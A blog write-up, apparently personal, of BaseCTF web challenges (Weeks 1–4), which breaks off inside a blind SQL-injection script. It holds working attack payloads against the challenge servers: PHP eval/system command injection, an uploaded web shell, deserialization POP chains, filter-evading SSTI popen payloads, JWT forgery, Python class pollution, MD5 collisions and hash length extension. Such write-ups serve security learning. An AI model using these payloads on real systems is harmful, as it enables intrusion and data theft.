luokuang的博客

Posted on Edited on

[Week1] HTTP 是什么呀

这个题考的是http基础知识

项目 你需要传入 当前传入值 是否正确
GET 参数 base we1c%00me close (请注意 URL 转义)
POST 参数 base fl@g close
Cookie c00k13 i can’t eat it close
用户代理 (User-Agent) Base Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 close
来源 (Referer) Base close
你的 IP 127.0.0.1 10.32.0.0 close

首先需要通过get提交basectf的值为we1c%00me，但是需要注意在url里面%00为空格，所以需要通过将%00进行url编码，最后就是%2500 这样就可以?basectf=we1c%2500me

第二个直接通过hackerbar来post提交Base=fl@g即可

由于最后面一个要通过伪造ip地址，需要通过X-Forwarded-For来实现，所以我改为通过用bp来进行

请求报文：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?basectf=we1c%2500me HTTP/1.1 
Host: challenge.basectf.fun:34690 
Cache-Control: max-age=0 
Upgrade-Insecure-Requests: 1 
User-Agent:Base 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 
Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 
Connection: close 
Cookie: c00k13=i can't eat it 
Referer: Base 
X-Forwarded-For: 127.0.0.1 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 9

Base=fl@g

success.php?flag=QmFzZUNURnsxOTE1ZDQ0Ni04NzFhLTRjNmUtYTgyOS0xYTgxMTQ0N2QxZWV9Cg==

最后base64解密即可获得flag

[Week1] 喵喵喵´•ﻌ•`

知识点：rce

给出源码

1
2
3
4
5
6
<?php 
highlight_file(__FILE__); 
error_reporting(0); 
$a =$_GET['DT'];
eval($a); 
?>

直接提交DT=system(‘cat /*’);即可获得flag

[Week1] md5绕过

知识点：弱比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){  
$name = $_GET['name'];  
$name2 =$_GET['name2'];  
$password =$_POST['password'];  
$password2 =$_POST['password2'];  
if ($name != $password && md5($name) == md5($password)){    
if ($name2 !== $password2 && md5($name2) === md5($password2)){        echo $flag;    
}    else{      
echo "再看看啊，马上绕过嘞！";    
}  
} 
else 
{    
echo "错啦错啦"; 
}}else {  
echo '没看到参数呐';
}
?>

第一层直接通过输入name和password两个不同字符串，但是md5值都是以0e开头即可，name2和password2通过数组来进行绕过，或者直接都通过数组绕过也可以

?name=QNKCDZO&name2[]=1

password=240610708&password2[]=2

[Week1] A Dark Room

直接查看源码或者F12得flag

[Week1] upload

知识点：文件上传

绕过方法通过mime绕过,直接修改

Content-Type: image/jpeg

上传1.php

<?php system(‘ls’);?>

来进行绕过，在查看/uploads/1.php得flag

[Week1] Aura 酱的礼物

知识点：php伪协议

<?php highlightfile(_FILE); // Aura 酱，欢迎回家~ // 这里有一份礼物，请你签收一下哟~ $pen = $_POST[‘pen’]; if (file_get_contents($pen) !== ‘Aura’) { die(‘这是 Aura 的礼物，你不是 Aura！’); } // 礼物收到啦，接下来要去博客里面写下感想哦~ $challenge = $_POST[‘challenge’]; if (strpos($challenge, ‘http://jasmineaura.github.io‘) !== 0) { die(‘这不是 Aura 的博客！’); } $blog_content = file_get_contents($challenge); if (strpos($blog_content, ‘已经收到Kengwang的礼物啦’) === false) { die(‘请去博客里面写下感想哦~’); } // 嘿嘿，接下来要拆开礼物啦，悄悄告诉你，礼物在 flag.php 里面哦~ $gift = $_POST[‘gift’]; include($gift);

这里我就不去将代码展开了，首先会通过file_get_contents()函数来获取pen里面得内容，可以通过data伪协议或者php://input写入，然后就是判断http://jasmineaura.github.io是否在challenge参数得开头，再通过file_get_contents($challenge)来发起http请求，查看是否有 已经收到Kengwang的礼物啦 这一句话，这里就可以通过覆盖前面得url来进行绕过通过@符号，最后就是通过php://filter来读取flag.php

pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@challenge.basectf.fun:25499&gift=php://filter/read=convert.base64-encode/resource=flag.php

再通过base64解码就可以获取flag

[Week2] ez_ser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php 
highlight_file(__FILE__); 
error_reporting(0); 

class re{ 
    public $chu0; 
    public function __toString(){ 
        if(!isset($this->chu0)){ 
            return "I can not believes!"; 
        } 
        $this->chu0->$nononono; 
    } 
} 
class web { 
    public $kw; 
    public $dt; 
    public function __wakeup() { 
        echo "lalalla".$this->kw; 
    } 

    public function __destruct() { 
        echo "ALL Done!"; 
    } 
} 
class pwn { 
    public $dusk; 
    public $over; 
    public function __get($name) { 
        if($this->dusk != "gods"){ 
            echo "什么，你竟敢不认可?"; 
        } 
        $this->over->getflag(); 
    } 
} 
class Misc { 
    public $nothing; 
    public $flag; 
    public function getflag() { 
        eval("system('cat /flag');"); 
    } 
} 
class Crypto { 
    public function __wakeup() { 
        echo "happy happy happy!"; 
    } 

    public function getflag() { 
        echo "you are over!"; 
    } 
} 
$ser = $_GET['ser']; 
unserialize($ser); 
?>

这里的链子就是

web->re->pwn->misc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
class re{ 
    public $chu0; 
} 
class web { 
    public $kw; 
    public $dt;  
} 
class pwn { 
    public $dusk; 
    public $over; 
} 
class Misc { 
    public $nothing; 
    public $flag; 
} 
$a=new web();
$a->kw=new re();
$a->kw->chu0=new pwn();
$a->kw->chu0->over=new Misc();
echo serialize($a);
O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";N;s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}

[Week2] 一起吃豆豆

直接查看源码的index.js仔细看就可以的到一个类似加密的密文

解密的flag

[Week2] 你听不到我的声音

1
2
3
<?php 
highlight_file(__FILE__); 
shell_exec($_POST['cmd']);

这里直接执行命令没有回显，所以可以通过将命令写入文件来实现

1
2
ls />1.txt
cat /*>1.txt

[Week2] Really EZ POP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php 
highlight_file(__FILE__); 
class Sink 
{ 
    private $cmd = 'echo 123;'; 
    public function __toString() 
    { 
        eval($this->cmd); 
    } 
} 
class Shark 
{ 
    private $word = 'Hello, World!'; 
    public function __invoke() 
    { 
        echo 'Shark says:' . $this->word; 
    } 
} 
class Sea 
{ 
    public $animal; 
    public function __get($name) 
    { 
        $sea_ani = $this->animal; 
        echo 'In a deep deep sea, there is a ' . $sea_ani(); 
    } 
} 
class Nature 
{ 
    public $sea; 

    public function __destruct() 
    { 
        echo $this->sea->see; 
    } 
} 
if ($_POST['nature']) { 
    $nature = unserialize($_POST['nature']); 
}
<?php
class Sink
{
    private $cmd = 'system("cat /*");';
}
class Shark
{
    private $word ;
    public function __construct()
    {
        $this->word=new Sink;
    }
}
class Sea
{
    public $animal;

}
class Nature
{
    public $sea;
}
$a=new Nature();
$a->sea=new Sea();
$a->sea->animal=new Shark();
echo urlencode(serialize($a));

在bp中进行提交

1
nature=O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A17%3A%22system%28%22cat+%2F%2A%22%29%3B%22%3B%7D%7D%7D%7D

[Week2] RCEisamazingwithspace

1
2
3
4
5
6
7
8
9
10
11
<?php 
highlight_file(__FILE__); 
$cmd = $_POST['cmd']; 
// check if space is present in the command 
// use of preg_match to check if space is present in the command 
if (preg_match('/\s/', $cmd)) { 
    echo 'Space not allowed in command'; 
    exit; 
} 
// execute the command 
system($cmd);

这里进行了空格过滤，尝试了一下不能通过%09来绕过，但是${IFS}可以

1
cmd=cat${IFS}/*

[Week2] 所以你说你懂 MD5?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php 
session_start(); 
highlight_file(__FILE__); 
// 所以你说你懂 MD5 了? 
$apple = $_POST['apple']; 
$banana = $_POST['banana']; 
if (!($apple !== $banana && md5($apple) === md5($banana))) { 
    die('加强难度就不会了?'); 
} 
// 什么? 你绕过去了? 
// 加大剂量! 
// 我要让他成为 string 
$apple = (string)$_POST['appple']; 
$banana = (string)$_POST['bananana']; 
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) { 
    die('难吗?不难!'); 
} 
// 你还是绕过去了? 
// 哦哦哦, 我少了一个等于号 
$apple = (string)$_POST['apppple']; 
$banana = (string)$_POST['banananana']; 
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) { 
    die('嘻嘻, 不会了? 没看直播回放?'); 
} 
// 你以为这就结束了 
if (!isset($_SESSION['random'])) { 
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)); 
} 
// 你想看到 random 的值吗? 
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧 
$random = $_SESSION['random']; 
echo md5($random); 
echo '<br />'; 
$name = $_POST['name'] ?? 'user'; 
// check if name ends with 'admin' 
if (substr($name, -5) !== 'admin') { 
    die('不是管理员也来凑热闹?'); 
} 
$md5 = $_POST['md5']; 
if (md5($random . $name) !== $md5) { 
    die('伪造? NO NO NO!'); 
} 
// 认输了, 看样子你真的很懂 MD5 
// 那 flag 就给你吧 
echo "看样子你真的很懂 MD5"; 
echo file_get_contents('/flag');加强难度就不会了?

这里有四层

第一层直接通过数组绕过即可

1
apple[]=1&banana[]=2

第二层通过md5值为0e开头的字符串即可

1
appple=s878926199a&bananana=s155964671a

第三层通过强碰撞绕过即可，这里要通过bp不能通过hackbar来传参

1
apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

第四层通过就是哈希长度扩展，这里就通过hash-ext-attack-master来自动生成

bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16))这里相当于96位的字符串即密钥

name里面后面要添加admin字符串所以我们需要在后面添加一个以admin结尾的字符串，其它任意，这里就随便为qadmin

这里题目会给一个原始的md5值

这里最后就可以提交的flag

1
apple[]=1&banana[]=2&appple=s878926199a&bananana=s155964671a&apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=c15df3f0cb8dc43eccdbd0514d79eddb

[Week2] 数学大师

这个就是纯脚本

每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

本题依赖 session，请在请求时开启 session cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import re
import json

session=requests.Session()
session.cookies.set("PHPSESSID","bsr9th8eakpubabbiteqrus6uj")
def calculate_expression(expression):
    try:
        # 使用eval来计算表达式，注意eval有安全风险，实际使用时请确保表达式来源安全
        return eval(expression)
    except Exception as e:
        print(f"Error calculating expression {expression}: {e}")
        return None

def extract_and_calculate(expression_string):
    # 使用正则表达式提取数字和运算符组成的表达式
    expression = expression_string.replace('×', '*').replace('÷', '/')
    print(expression)
    match = re.search( r'\d+[\-\+\*\/]\d+', expression)
    print(match)
    if match:
        exp=match.group(0)
        print(exp)
        result = calculate_expression(exp)
        return result
    else:
        print("No valid expression found in the string.")
        return None

def send_result(result, send_url):
    try:
        payload = {"answer": result}
        response = session.post(send_url, data=payload)
        #response.raise_for_status()  # 检查请求是否成功
        data=response.text
        print(response.text)
        result = extract_and_calculate(data)
        if result is not None:
            send_result(result, send_url)
    except requests.RequestException as e:
        print(f"Failed to send result: {e}")

# 模拟的URL，你需要替换成实际的URL
fetch_url = "http://challenge.basectf.fun:45312/"
send_url = "http://challenge.basectf.fun:45312/"

response = session.get(fetch_url)
#response.raise_for_status()  # 检查请求是否成功
data = response.text  # 假设返回的是纯文本
print(data)
result = extract_and_calculate(data)
if result is not None:
    send_result(result, send_url)

这个是累计50题，所以直接跑就可以

1
2
?K=DirectoryIterator&W=glob:///secret/*
J=SplFileObject&H=/secret/f11444g.php

[Week3] ez_php_jail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
    if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
        return false;
    }
    return true;
}

if (Like_Jail($Jail)) {
    eval($Jail);
    echo "Yes! you escaped from the jail! LOL!";
} else {
    echo "You will Jail in your life!";
}
echo "\n";

// 在HTML解析后再输出PHP源代码

?>

首先先看提交的参数，Jail_by.Happy，这个不是一个合法的参数，所以需要对其合理化,将前面的 _ 替换为[即可

1
?Jail[by.Happy=phpinfo();

这个就是一个rce，但是这里禁用了很多的东西，可以通过提交 phpinfo(); 来查看信息

这里还禁用了许多的字母和字符，我们就可以通过使用php内置函数来进行绕过

1
2
3
4
?Jail[by.Happy=print_r(glob('/f*'));
?Jail[by.Happy=print_r(implode(glob('/f*')));//这里来读取数组里面的内容
?Jail[by.Happy=highlight_file(implode(glob('/f*')));
?Jail[by.Happy=highlight_file(glob('/f*')[0]);

[Week3] 复读机

这里是一个ssti的漏洞

首先需要在开头以BaseCTF，并且禁用了 双大括号 和 __ 还有许多的常见的关键词，比如config,lipsum，还有url_for

这里就需要通过爆破出可以利用的模块,这里尝试通过os，但是发现没有成功，就只能尝试通过其它的模块来执行

1
{{''.__class__.__bases__.__subclasses__()[137].__init__.__globals__['popen']('ls /').read()}}

1
2
3
4
5
6
7
8
9
10
import requests

for i in range(500):
    url = "http://challenge.basectf.fun:40577/flag"
    data={'flag':"BaseCTF{%print(''|attr('_''_cla''ss_''_')|attr('_''_ba''se_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')("+str(i)+")|attr('_''_in''it_''_')|attr('_''_glo''bals_''_'))%}"}
    res = requests.post(url=url,data=data)
    if 'popen' in res.text:
        print(i)
        break
#137

所以在137这里就有popen，这里就可以通过popen来执行命令

1
BaseCTF{%print(''|attr('_''_cla''ss_''_')|attr('_''_ba''se_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')(137)|attr('_''_in''it_''_')|attr('_''_glo''bals_''_')|attr('_''_getit''em_''_')('po''p''en')('ls'))|attr('read')()))%}"}

最面就是通过rce的绕过，/flag,直接通过python的格式化字符串即可进行绕过

1
BaseCTF{%print(''|attr('_''_cla''ss_''_')|attr('_''_ba''se_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')(137)|attr('_''_in''it_''_')|attr('_''_glo''bals_''_')|attr('_''_getit''em_''_')('po''p''en')('cat %c%c%c%c%c'%(47,102,108,97,103)))|attr('read')()))%}"}

[Week3] 滤个不停

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php 
highlight_file(__FILE__); 
error_reporting(0); 

$incompetent = $_POST['incompetent']; 
$Datch = $_POST['Datch']; 

if ($incompetent !== 'HelloWorld') { 
    die('写出程序员的第一行问候吧！'); 
} 

//这是个什么东东？？？ 
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o']; 
$is_valid = true; 

foreach ($required_chars as $char) { 
    if (strpos($Datch, $char) === false) { 
        $is_valid = false; 
        break; 
    } 
} 

if ($is_valid) { 

    $invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://']; 

    foreach ($invalid_patterns as $pattern) { 
        if (stripos($Datch, $pattern) !== false) { 
            die('此路不通换条路试试?'); 
        } 
    } 


    include($Datch); 
} else { 
    die('文件名不合规 请重试'); 
} 
?>

这里是一个文件包含，并且不可以通过伪协议来进行读取，它提示我们需要在提交中包含一些字母

1
['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o']

这里因为不能进行常规的文件包含，所以需要通过包含一些特殊的路径

1
incompetent=HelloWorld&Datch=/var/log/nginx/access.log

所以就可以通过在bp里面进行构造

[Week3] 玩原神玩的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);
error_reporting(0);
include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
  ys_open($_GET['tip']);
} else {
  die("错了！就你还想玩原神？❌❌❌");
}
function ys_open($tip) {
  if ($tip != "我要玩原神") {
    die("我不管，我要玩原神！😭😭😭");
  }
  dumpFlag();
}
function dumpFlag() {
  if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
    die("可恶的QQ人！😡😡😡");
  }
  $a = $_POST['m'][0];
  $b = $_POST['m'][1];
  if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
    die("某站崩了？肯定是某忽悠干的！😡😡😡");
  }
  include 'flag.php';
  $flag[] = array();
  for ($ii = 0;$ii < sizeof($array);$ii++) {
    $flag[$ii] = md5(ord($array[$ii]) ^ $ii);
  }
  echo json_encode($flag);
}

这里先进行一个代码审计

1
sizeof($_POST['len']) == sizeof($array) //这里需要提交的len数组的长度与array长度相同

这里通过脚本跑出长度

1
2
3
4
5
6
7
8
9
10
11
import requests
url="http://challenge.basectf.fun:31395/"
data={}
for i in range(0,100):
    key = "len[" + str(i) + "]"  # 创建键
    data[key] = i
    resp=requests.post(url=url,data=data)
    if "</code>我不管，我要玩原神！😭😭😭" in resp.text:
        print(resp.text)
        print(i)
        break

然后就是get提交一个tip内容为 我要玩原神

1
2
3
if ($tip != "我要玩原神") {
    die("我不管，我要玩原神！😭😭😭");
  }

这里后面就要提交一个m,m的长度为2并且m[0]=100%,m[1]=love100%

1
2
3
4
5
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
  die("某站崩了？肯定是某忽悠干的！😡😡😡");
}

这里还是通过脚本来跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url="http://challenge.basectf.fun:31395/?tip=我要玩原神"
data={}
for i in range(0,100):
    key = "len[" + str(i) + "]"  # 创建键
    data[key] = i
    # if "</code>我不管，我要玩原神！😭😭😭" in resp.text:
    #     resp = requests.post(url=url, data=data)
    #     print(resp.text)
    #     print(i)
    #     break
    if i==44:
        data["m[0]"]="100%"
        data["m[1]"]="love100%30bd7ce7de206924302499f197c7a966"
        resp = requests.post(url=url, data=data)
        print(resp.text)

最后就是通过获取flag里面array，这里array()里面的就是flag了，我们需要对其进行逆操作，首先这里获取了array的长度，取其第ii个元素的ascii码值，异或当前的索引进行异或，再取md5值

1
2
3
4
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
  $flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}

这里就只能看题解来逆操作解码了，$md5_array是json解码的值，然后就可以对其进行逆操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
highlight_file(__FILE__);
include 'flag.php';
$challenge_url = "http://challenge.basectf.fun:31395/?";
$post = "";
for ($i = 0;$i < 45;$i++) {
  $post .= "len[]=" . $i . "&";
} // $_POST['len'] == sizeof($array)
$get = "tip=" . "我要玩原神"; // $tip != "我要玩原神"
$post .= "m[]=" . urlencode("100%") . "&m[]=" . urlencode("love100%" . md5("100%"));
echo '<br>' . 'URL: ' . $challenge_url . $get . '<br>';
echo 'POST Data: ' . $post . '<br>';

$curl = curl_init();

curl_setopt_array($curl, [
  CURLOPT_URL => $challenge_url . $get,
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 30,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'POST',
  CURLOPT_POSTFIELDS => $post,
  CURLOPT_HTTPHEADER => [
    'Content-Type: application/x-www-form-urlencoded',
  ],
]);

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) die('cURL Error #:' . $err);
preg_match('/\[\"(.*?)\"\]/', $response, $matches);

if (empty($matches)) die("Invalid JSON");
$json = '["' . $matches[1] . '"]';
echo "MD5 Array: " . $json . '<br>';
$md5_array = json_decode($json, true);
$flag = '';

for ($ii = 0; $ii < count($md5_array); $ii++) {
  for ($ascii = 0; $ascii < 256; $ascii++) {
    if (md5($ascii ^ $ii) === $md5_array[$ii]) {
      $flag .= chr($ascii);
      break;
    }
  }
}

echo "Flag: " . $flag;

[Week4] No JWT

这里给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string
app = Flask(__name__)
# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# 登录接口
@app.route('/login', methods=['POST'])
def login():
    data = request.json
    username = data.get('username')
    password = data.get('password')

    # 其他用户都给予 user 权限
    token = jwt.encode({
            'sub': username,
            'role': 'user',  # 普通用户角色
            'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
        }, app.secret_key, algorithm='HS256')
    return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
    token = request.headers.get('Authorization')
    
    if token:
        try:
            decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
            # 检查用户角色是否为 admin
            if decoded.get('role') == 'admin':
                with open('/flag', 'r') as f:
                    flag_content = f.read()
                return jsonify({'flag': flag_content}), 200
            else:
                return jsonify({'message': 'Access denied: admin only'}), 403
            
        except FileNotFoundError:
            return jsonify({'message': 'Flag file not found'}), 404
        except jwt.ExpiredSignatureError:
            return jsonify({'message': 'Token has expired'}), 401
        except jwt.InvalidTokenError:
            return jsonify({'message': 'Invalid token'}), 401
    return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
    app.run(debug=True)

很明显是一个jwt session伪造，这个就比较简单了

首先先拿到一个源session值，如果直接进行访问/login是没有的，它会提示你去提交一份json,这里就可以随便提交一个

这里就可以去伪造session访问/flag了

直接将jwt部分放到https://jwt.io/里面进行伪造

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOm51bGwsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNjMyMDY1N30.B02FczhiqpJleB5rmlcZ8fCVuFfSI4s3KuDCl2KUFpk

最后将构造的payload伪造到请求头即可

1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOm51bGwsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNjMyMDY1N30.B02FczhiqpJleB5rmlcZ8fCVuFfSI4s3KuDCl2KUFpk

[Week4] flag直接读取不就行了？

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了，所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
    echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

这里就是两个类的初始化，但是又不是反序列的题，所以想要读取文件就需要通过php的原生类来读取

首先通过DirectoryIterator来进行目录遍历，配合glob伪协议即可

1
?K=DirectoryIterator&W=glob:///secret/*  //这里可以获取flag文件所在的位置

读取文件就通过SplFileObject，再提交路径即可，最后flag在源码中

1
J=SplFileObject&H=/secret/f11444g.php

[Week4] 圣钥之战1.0

这里提示去读read目录，给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
    return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
    file = open(__file__, encoding="utf-8").read()
    return f"J1ngHong说：你想read flag吗？
那么圣钥之光必将阻止你！
但是小小的源码没事，因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:
        merge(json.loads(request.data),instance)
    else:
        return "J1ngHong说：钥匙圣洁无暇，无人可以污染！"
    return "J1ngHong说：圣钥暗淡了一点，你居然污染成功了？"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80)

这里发现了python原型链污染的函数,还真是一点都不变，这里/static/index.html发现可能存在一个静态的代码文件夹，所以就可以去尝试污染一下静态代码文件夹的位置

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

最后的payload就可以得，简单说明一下，通过调用一个类的init魔术方法再调用globals获取全局属性，再修改app下的静态目录地址为当前的目录即可

1
2
3
4
5
6
7
8
9
{
    "__init__":{
        "__globals__":{
            "app":{
                "_static_folder":"./"
            }
        }
    }
}

最后就可以直接访问/static/flag获取flag

[Week4] only one sql

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
    die("你知道的，不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的，不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select，让你执行一句又如何';" . $sql . "\"";
system($query);

这里刚开始以为可以rce，但是分析发现，输入的语句还在数据库语句中，所以应该只可以进行sql注入

1
2
show tables //Tables_in_ctf flag
show columns from flag //Field        Type        Null        Key        Default        Extra id        varchar(300)        YES                NULL         data        varchar(300)        YES                NULL

这里可以先通过show命令来获取基本的信息

这里禁用了select，不能直接获取，就可以尝试通过盲注的方法来进行读取,题解中给出

1
delete from flag where data like 'B%' and sleep(5)

%表示匹配任意数量的字符，这样就代表了B开头的字符串

这样就可以通过盲注来进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import string
import time

sqlstr = "qwertyiuopasdfghjklzxcvbnm-{}1023456789"
flag=''
url = "http://challenge.basectf.fun:40165/"
for i in range(1, 100):
    for c in sqlstr:
        # print(c)
        payload = "update flag set id = 'wi' where data regexp '^Base' and if(data REGEXP '^{}',sleep(1.5), 1)".format((flag + c))
        params = {
                        'sql': payload
                    }
        start_time = time.time()
        r = requests.get(url=url, params=params)
        print(r.text)
        try:
            r = requests.get(url=url,params=params)
            print(r.text)
            end_time = time.time()
